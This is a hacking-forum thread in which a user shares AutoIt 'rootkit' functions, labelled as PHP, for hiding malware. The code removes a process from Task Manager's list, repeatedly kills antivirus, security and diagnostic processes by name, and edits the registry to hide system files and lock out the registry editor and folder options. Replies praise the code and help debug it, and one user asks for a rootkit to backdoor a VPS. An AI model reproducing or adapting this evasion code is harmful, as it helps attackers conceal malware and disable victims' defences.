Here's a few functions aimed at hiding malware (rootkit functions) That I've made for previous projects of mine as well as a simple workaround for multithreading:
ROOTKIT FUNCTIONS:
Hide process from task manager:
PHP Code
<?php
Func HideFromTaskMannager($sProcessName)
If $sProcessName <> 1 Then
$iProcessIndex = ControlListView("Windows Task Manager", "", 1009, "FindItem", $sProcessName)
If $iProcessIndex = -1 Then
Sleep(2)
Else
$h_listview = ControlGetHandle("Windows Task Manager", "", 1009)
DllCall("user32.dll", "int", "SendMessage", "hwnd", $h_listview, "int", $LVM_DELETEITEM, "int", $iProcessIndex, "int", 0)
EndIf
EndIf
EndFunc
PHP Code
<?php
Func EndBadProcs()
Dim $bad_procs[7]
$bad_procs[0] = "anti"
$bad_procs[1] = "fix"
$bad_procs[2] = "remov"
$bad_procs[3] = "secur"
$bad_procs[4] = "av"
$bad_procs[5] = "tasklist"
$bad_procs[6] = "taskkill"
$procs = ProcessList()
For $i = 0 To UBound($procs) - 1
For $j = 0 To UBound($bad_procs) - 1
If(StringInStr($procs[$i][0], $bad_procs[$j], false)) Then
ProcessClose($procs[$i][1])
EndIf
Next
Next
EndFunc
Some extra to-do in the registry (explained in code comments):
PHP Code
<?php
Func FixReg()
Regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\Advanced", "ShowSuperHidden", "REG_DWORD", 0);to not show hidden system files
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", 1);to disable the registry editor
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer", "NoFolderOptions", "REG_DWORD", 1);to not show "folder options.." under xplorer.exe's menus
EndFunc
MULTITHREADING WORKAROUND:
So say you have a function at the top of your script like:
PHP Code
<?php
if $cmdLine[0] > 0 Then
if $cmdLine[0] = 1 Then
While 1
EndBadProcs()
WEnd
EndIf
EndIf
Witch incorporates one of our RootKit functions but only if it is started with an argument, then you could just have your script call itself with a single argument and it would start another process witch would then start the RootKit function because of the argument you supplied it. Very simple way to simulate multithreading.
Feed back is appreciated 🙂
Kindly regards,
Tux.
Thank you!
I search a long time for a good autoit Rootkit! It works very very good! Do you have also a Rootkit thats hide a File in the Windows Explorer Or is that impossible?
the_horla123
(Sep 2, 2013 11:14 AM)the_horla123 Wrote: Thank you!
I search a long time for a good autoit Rootkit! It works very very good! Do you have also a Rootkit thats hide a File in the Windows Explorer Or is that impossible?
the_horla123
You mean like?
PHP Code
<?php
FileSetAttrib($sFilePath, "+H")
No :D
I mean a real Rootkit what hides the Files better than the hide Attribute like the Rootkit that you have posted.
Sry for my bad english :D
the_horla123
(Sep 2, 2013 11:53 AM)the_horla123 Wrote: No :D
I mean a real Rootkit what hides the Files better than the hide Attribute like the Rootkit that you have posted.
Sry for my bad english :D
the_horla123
Your not making any sence? You could set it to +SH (makes it a system file as well) And then the reg editing function above disables the option to have hidden files show.
Not really a RootKit, This is a Ring3 UserKit. Sadly i don't thing it possible to make a RootKit in any language other then C++ or ASM. Correct me if i am wrong.
Go Programmer, Adept in CAD, Adept in 3D Printing, Need something made? PM me.
(Sep 2, 2013 10:53 AM)Ego Inc Wrote: Here's a few functions aimed at hiding malware (rootkit functions) That I've made for previous projects of mine as well as a simple workaround for multithreading:
ROOTKIT FUNCTIONS:
Hide process from task manager:
PHP Code
<?php
Func HideFromTaskMannager($sProcessName)
If $sProcessName <> 1 Then
$iProcessIndex = ControlListView("Windows Task Manager", "", 1009, "FindItem", $sProcessName)
If $iProcessIndex = -1 Then
Sleep(2)
Else
$h_listview = ControlGetHandle("Windows Task Manager", "", 1009)
DllCall("user32.dll", "int", "SendMessage", "hwnd", $h_listview, "int", $LVM_DELETEITEM, "int", $iProcessIndex, "int", 0)
EndIf
EndIf
EndFunc
Prevent unwanted tasks such as Anti-viruses, netstat, tasklist, etc:
PHP Code
<?php
Func EndBadProcs()
Dim $bad_procs[7]
$bad_procs[0] = "anti"
$bad_procs[1] = "fix"
$bad_procs[2] = "remov"
$bad_procs[3] = "secur"
$bad_procs[4] = "av"
$bad_procs[5] = "tasklist"
$bad_procs[6] = "taskkill"
$procs = ProcessList()
For $i = 0 To UBound($procs) - 1
For $j = 0 To UBound($bad_procs) - 1
If(StringInStr($procs[$i][0], $bad_procs[$j], false)) Then
ProcessClose($procs[$i][1])
EndIf
Next
Next
EndFunc
Some extra to-do in the registry (explained in code comments):
PHP Code
<?php
Func FixReg()
Regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\Advanced", "ShowSuperHidden", "REG_DWORD", 0);to not show hidden system files
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", 1);to disable the registry editor
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer", "NoFolderOptions", "REG_DWORD", 1);to not show "folder options.." under xplorer.exe's menus
EndFunc
MULTITHREADING WORKAROUND:
So say you have a function at the top of your script like:
PHP Code
<?php
if $cmdLine[0] > 0 Then
if $cmdLine[0] = 1 Then
While 1
EndBadProcs()
WEnd
EndIf
EndIf
Witch incorporates one of our RootKit functions but only if it is started with an argument, then you could just have your script call itself with a single argument and it would start another process witch would then start the RootKit function because of the argument you supplied it. Very simple way to simulate multithreading.
Feed back is appreciated 🙂
Kindly regards,
Tux.
Thanks for this code. The RegWrite code is the interesting part for me. Now, I think I'm going to write something that makes use of the RegWrite function and file attributes. 🤗
It's not a rootkit.
You are not hooking any function in order to achieve your goals.
(Sep 10, 2013 11:19 AM)LeNerds Wrote: It's not a rootkit.
You are not hooking any function in order to achieve your goals.
First of all no its a bootkid I know. Just rootkit is a more general term. Seccond all a rootkit means is that youve obtained ring 0 privs
Sep 12, 2013 08:12 AM
(This post was last modified: Sep 12, 2013 08:12 AM by Snoepie1012.)
(Sep 10, 2013 03:42 PM)Ego Inc Wrote: First of all no its a bootkid I know. Just rootkit is a more general term. Seccond all a rootkit means is that youve obtained ring 0 privs
I am hoping you are not meaning to say that it is a bootkit..
Also a rootkit can be in ring 3 to.
Seems like a nice peace of code doh.
(Sep 10, 2013 03:42 PM)Ego Inc Wrote: First of all no its a bootkid I know. Just rootkit is a more general term. Seccond all a rootkit means is that youve obtained ring 0 privs
That's not what a rootkit means. You can have a usermode rootkit as well.
(Sep 12, 2013 08:12 AM)Snoepie1012 Wrote: I am hoping you are not meaning to say that it is a bootkit..
Also a rootkit can be in ring 3 to.
Seems like a nice peace of code doh.
Wow did I really say bootkit? I meant userkit... Long nights sorry :p
(Sep 12, 2013 12:32 PM)Debroski Wrote: That's not what a rootkit means. You can have a usermode rootkit as well.
Yes your right, btw like the name, fucking awesome anime 👍
do you guys might now where i can get a rootkit to back door a vps
Having a problem with the hidetaskmanager function. The script runs fine, but it doesn't hide the process. And once I try compile it I get this error WARNING: $LVM_DELETEITEM: possibly used before declaration.
I had a look for a work around but couldn't find anything. Any idea why this is happening?
Include listview.au3 i guess .. Or listviewex.au3 .. Just google the error
|
